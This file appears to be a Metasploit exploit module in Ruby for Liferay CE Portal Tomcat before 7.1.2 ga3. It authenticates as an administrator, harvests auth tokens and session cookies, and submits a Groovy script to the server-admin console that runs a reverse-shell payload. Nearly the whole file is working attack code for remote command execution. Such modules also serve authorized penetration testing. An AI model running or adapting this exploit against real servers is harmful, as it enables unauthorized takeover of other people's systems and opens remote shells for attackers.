266 lines
No EOL
13 KiB
Ruby
Executable file
266 lines
No EOL
13 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Liferay CE Portal Tomcat < 7.1.2 ga3 - Groovy-Console Remote Command Execution',
|
|
'Description' => %q{
|
|
This module uses the Liferay CE Portal Groovy script console to execute
|
|
OS commands. The Groovy script can execute commands on the system via a [command].execute() call.
|
|
Valid credentials for an application administrator user account are required
|
|
This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://pentest.com.tr/exploits/Liferay-CE-Portal-Tomcat-7-1-2-ga3-Groovy-Console-Remote-Command-Execution-Metasploit.html' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => [ 'unix' ],
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'reverse perl ruby python',
|
|
}
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'Liferay CE Portal Tomcat < 7.1.2 ga3', { }]
|
|
],
|
|
'DisclosureDate' => 'March 08, 2019',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
|
|
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),
|
|
], self.class)
|
|
end
|
|
##
|
|
# Version and Vulnerability Check
|
|
##
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => datastore['PATH'] + 'web/guest/home'
|
|
})
|
|
|
|
version = res.headers['Liferay-Portal']
|
|
print_status("Target: #{version}")
|
|
|
|
if res and res.code == 200 and version =~ /Portal 7./ or version =~ /Portal 6./
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
return res
|
|
end
|
|
##
|
|
# Returns the SSL, Host and Port as a string
|
|
##
|
|
def peer
|
|
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
|
|
end
|
|
|
|
def exploit
|
|
##
|
|
# Login and cookie information gathering
|
|
##
|
|
print_status('Attempting to login with specified user...')
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => datastore['PATH'] + 'web/guest/home'
|
|
})
|
|
|
|
authtoken = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
|
|
print_status("Liferay AuthToken = #{authtoken}")
|
|
|
|
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
|
|
cookie = "#{sessionid}; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US"
|
|
print_status("#{sessionid}")
|
|
|
|
boundary = Rex::Text.rand_text_alphanumeric(29)
|
|
|
|
data = "-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_formDate\"\r\n\r\n"
|
|
data << ""
|
|
data << "\r\n-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_saveLastPath\"\r\n\r\nfalse\r\n"
|
|
data << "-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_redirect\"\r\n\r\n\r\n"
|
|
data << "-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin\"\r\n\r\nfalse\r\n"
|
|
data << "-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_login\"\r\n\r\n"
|
|
data << "#{datastore['USERNAME']}"
|
|
data << "\r\n-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_password\"\r\n\r\n"
|
|
data << "#{datastore['PASSWORD']}"
|
|
data << "\r\n-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_checkboxNames\"\r\n\r\nrememberMe\r\n"
|
|
data << "-----------------------------{boundary}"
|
|
data << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
|
|
data << "#{authtoken}"
|
|
data << "\r\n-----------------------------{boundary}--\r\n"
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=1&p_p_state=exclusive&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_javax.portlet.action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Flogin',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
if res.code == 302
|
|
print_good('User authentication was successful.')
|
|
else
|
|
print_error('Something went wrong! Login failed.')
|
|
end
|
|
|
|
cookie1 = ''
|
|
for cookie1_i in [ 'JSESSIONID=', 'COMPANY_ID=', 'ID=' ]
|
|
cookie1 << cookie1_i + res.headers['set-cookie'].split(cookie1_i)[1].split('; ')[0] + '; '
|
|
end
|
|
|
|
cookies0 = "#{cookie1} COOKIE_SUPPORT=true;"
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => datastore['PATH'] + 'c',
|
|
'cookie' => cookies0
|
|
})
|
|
##
|
|
# Completion of the cookie information
|
|
##
|
|
cookie2 = ''
|
|
for cookie2_i in [ 'GUEST_LANGUAGE_ID=', 'Max-Age=', 'Expires=', 'Path=' ]
|
|
cookie2 << cookie2_i + res.headers['set-cookie'].split(cookie2_i)[1].split('; ')[0] + '; '
|
|
end
|
|
|
|
cookies = "#{cookie1} #{cookie2} COOKIE_SUPPORT=true;"
|
|
if cookies =~ /ID=/
|
|
print_good("Cookies information has been verified.")
|
|
else
|
|
print_error("Cookies information could not be verified!")
|
|
exit 0
|
|
end
|
|
##
|
|
# Request to Groovy script authtoken
|
|
##
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
|
|
'headers' =>
|
|
{
|
|
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
|
|
},
|
|
'cookie' => cookies
|
|
})
|
|
##
|
|
# Calling authtoken to Groovy script
|
|
##
|
|
authtoken2 = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
|
|
print_status("Liferay AuthToken to Shell = #{authtoken2}")
|
|
##
|
|
# Payload Separation **cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl**
|
|
##
|
|
if payload.encoded =~ /sh/
|
|
cmd = payload.encoded.split('sh -c')[1].split("'")[1]
|
|
pay = "'sh', '-c', '#{cmd}'"
|
|
print_good("Reverse payload was prepared")
|
|
elsif payload.encoded =~ /perl/
|
|
cmd = payload.encoded.split('perl -MIO -e')[1].split("'")[1]
|
|
pay = "'perl', '-MIO', '-e', '#{cmd}'"
|
|
print_good("Reverse Perl payload was prepared")
|
|
elsif payload.encoded =~ /python/
|
|
cmd = payload.encoded.split('python -c "exec(')[1].split(".decode('base64'))\"")[0].split("'")[1]
|
|
pay = "'python', '-c', 'exec(\"#{cmd}\".decode(\"base64\"))'"
|
|
print_good("Reverse Python payload was prepared")
|
|
elsif payload.encoded =~ /ruby/
|
|
cmd = payload.encoded.split('ruby -rsocket -e ')[1].split("'")[1]
|
|
pay = "'ruby', '-rsocket', '-e', '#{cmd}'"
|
|
print_good("Reverse Ruby payload was prepared")
|
|
else
|
|
print_error("! Please choose payload one of cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl ")
|
|
exit 0
|
|
end
|
|
##
|
|
# Post Data to run Payload
|
|
##
|
|
cmdata = "-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_formDate\"\r\n\r\n"
|
|
cmdata << ""
|
|
cmdata << "\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1\"\r\n\r\n"
|
|
cmdata << "script\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_redirect\"\r\n\r\n"
|
|
cmdata << "#{peer}/group/control_panel/manage?p_p_id="
|
|
cmdata << "com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle="
|
|
cmdata << "0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_"
|
|
cmdata << "ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_"
|
|
cmdata << "server_admin_web_portlet_ServerAdminPortlet_cur=""0&_com_liferay_server_"
|
|
cmdata << "admin_web_portlet_ServerAdminPortlet_tabs1=script"
|
|
cmdata << "\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_language\"\r\n\r\n"
|
|
cmdata << "groovy"
|
|
cmdata << "\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_script\"\r\n\r\n"
|
|
cmdata << "def cmd = [#{pay}]"
|
|
cmdata << "\r\ncmd.execute()"
|
|
cmdata << "\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_cmd\"\r\n\r\n"
|
|
cmdata << "runScript"
|
|
cmdata << "\r\n-----------------------------{boundary}"
|
|
cmdata << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
|
|
cmdata << "#{authtoken2}"
|
|
cmdata << "\r\n-----------------------------{boundary}--\r\n"
|
|
##
|
|
# Request to get reverse shell
|
|
##
|
|
print_status("Attempting to execute the payload...")
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_javax.portlet.action=%2Fserver_admin%2Fedit_server',
|
|
'data' => cmdata,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
|
|
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
|
|
},
|
|
'cookie' => cookies
|
|
})
|
|
|
|
if res.code == 302
|
|
print_good('Payload was successfully executed.')
|
|
else
|
|
print_error('Something went wrong!')
|
|
end
|
|
|
|
end
|
|
end
|
|
##
|
|
# End
|
|
## |